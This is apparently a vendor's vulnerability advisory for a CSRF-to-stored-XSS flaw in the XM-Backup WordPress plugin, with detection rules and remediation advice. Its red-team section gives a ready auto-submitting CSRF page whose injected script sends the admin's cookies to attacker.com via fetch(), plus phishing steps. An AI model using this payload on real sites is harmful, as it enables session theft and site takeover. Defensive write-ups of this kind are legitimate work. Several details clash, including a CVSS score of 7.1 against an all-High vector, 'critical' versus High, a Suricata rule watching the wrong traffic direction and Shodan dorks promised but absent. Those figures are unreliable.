CVE-2025-48109
Executive Summary
CVE-2025-48109 is a critical Cross-Site Request Forgery (CSRF) vulnerability in the Xavier Media XM-Backup plugin for WordPress (versions <= 0.9.1). The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying backup configurations or triggering backups, which can lead to stored Cross-Site Scripting (XSS). This combination of CSRF and stored XSS enables an attacker to execute arbitrary JavaScript in the context of the admin panel, potentially leading to full site compromise. The vulnerability is unpatched, and no official fix is available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed XM-Backup from the WordPress dashboard or via direct download are at risk. Since the plugin is unmaintained, it poses a supply chain risk to any WordPress site using it. No known package manager (e.g., Composer) is involved, but the plugin’s codebase is publicly available.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N) – but requires user interaction (admin click)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The threat level is High due to the potential for complete site takeover via stored XSS, despite the requirement for admin interaction.
Deep Dive & Mechanics
The vulnerability resides in the XM-Backup plugin’s administrative interface. The plugin fails to implement CSRF tokens on critical actions, such as saving backup settings or triggering manual backups. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, submits a forged request to the WordPress admin area.
The stored XSS component arises because the plugin does not sanitize user-supplied input (e.g., backup names or paths) before storing it in the database and later displaying it in the admin panel. By combining CSRF with stored XSS, an attacker can inject malicious JavaScript that executes whenever the admin views the backup logs or settings page.
Attack Flow:
- Attacker identifies a target WordPress site running XM-Backup <= 0.9.1.
- Attacker crafts a CSRF payload that modifies a backup setting to include a malicious script (e.g.,
<script>alert('XSS')</script>). - Attacker lures an authenticated admin to visit a page containing the CSRF payload (e.g., via phishing email).
- The admin’s browser sends the forged request, updating the plugin’s settings with the XSS payload.
- When the admin views the backup settings page, the stored XSS executes, allowing the attacker to steal cookies, create admin accounts, or exfiltrate data.
Vulnerable vs. Patched Code
Since no patch exists, the vulnerable code is the entire plugin version <= 0.9.1. The key missing security controls are:
- CSRF Token: No nonce verification on form submissions.
- Input Sanitization: No escaping of output when displaying backup names or paths.
Vulnerable Code Example (PHP):
// In xm-backup-admin.php
function xm_backup_save_settings() {
// No check for nonce or CSRF token
update_option('xm_backup_name', $_POST['backup_name']);
// ...
}
function xm_backup_display_settings() {
$name = get_option('xm_backup_name');
echo "<div>Backup Name: $name</div>"; // No escaping
}
Patched Code (Hypothetical):
function xm_backup_save_settings() {
if (!wp_verify_nonce($_POST['_wpnonce'], 'xm_backup_settings')) {
wp_die('CSRF detected');
}
update_option('xm_backup_name', sanitize_text_field($_POST['backup_name']));
}
function xm_backup_display_settings() {
$name = esc_html(get_option('xm_backup_name'));
echo "<div>Backup Name: $name</div>";
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with XM-Backup <= 0.9.1 installed and an authenticated admin session.
- Attacker-controlled server to host the CSRF page.
CSRF Payload (HTML):
<html>
<body>
<form id="csrf" action="http://target/wp-admin/admin-post.php?action=xm_backup_save" method="POST">
<input type="hidden" name="backup_name" value="<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>">
<input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Steps:
- Host the above HTML on attacker.com.
- Send a phishing email to the admin with a link to the page.
- Once the admin clicks, the form auto-submits, injecting the XSS payload.
- The stored XSS executes when the admin views the backup settings, sending cookies to the attacker.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual POST requests to
admin-post.phpwith actionxm_backup_savewithout a valid nonce. - Look for backup names containing script tags in the database (
wp_optionstable,xm_backup_name).
Prevention:
- Disable or remove the XM-Backup plugin immediately.
- Implement Web Application Firewall (WAF) rules to block requests with script tags in backup parameters.
- Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-post.phpwithaction=xm_backup_saveand suspiciousbackup_nameparameters. - File System: Modified
wp_optionstable entries containingxm_backup_namewith JavaScript payloads. - Logs: Admin access logs showing unusual referrers (e.g., attacker.com) or repeated POST requests to admin-post.php.
- Behavior: Unexpected backup configurations or new admin accounts created.
Detection Engineering
YARA Rule
rule CVE_2025_48109_XM_Backup_CSRF_XSS {
meta:
description = "Detects XM-Backup plugin files with CSRF/XSS vulnerability"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-48109"
strings:
$func1 = "xm_backup_save_settings" ascii wide nocase
$func2 = "update_option('xm_backup_name'" ascii wide nocase
$func3 = "echo \"<div>Backup Name:" ascii wide nocase
condition:
all of ($func*)
}
Sigma Rule
title: CVE-2025-48109 XM-Backup CSRF to Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects CSRF attempts targeting XM-Backup plugin
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-post.php'
cs-uri-query: 'action=xm_backup_save'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-48109 XM-Backup CSRF Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-post.php"; http_uri;
content:"action=xm_backup_save"; http_client_body;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete XM-Backup from all WordPress installations.
- Audit for compromise: Check for unauthorized admin accounts, modified backup settings, or suspicious entries in the
wp_optionstable. - Rotate credentials: Change all admin passwords and API keys.
Long-term Mitigation:
- Replace XM-Backup with a maintained alternative (e.g., UpdraftPlus, BackWPup).
- Implement a Web Application Firewall (WAF) with rules to block CSRF and XSS payloads.
- Enforce Content Security Policy (CSP) headers to mitigate XSS.
- Regularly update all WordPress plugins and themes.
Vendor Contact: Since Xavier Media is unresponsive, consider reporting to the WordPress Plugin Review Team for removal from the repository.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.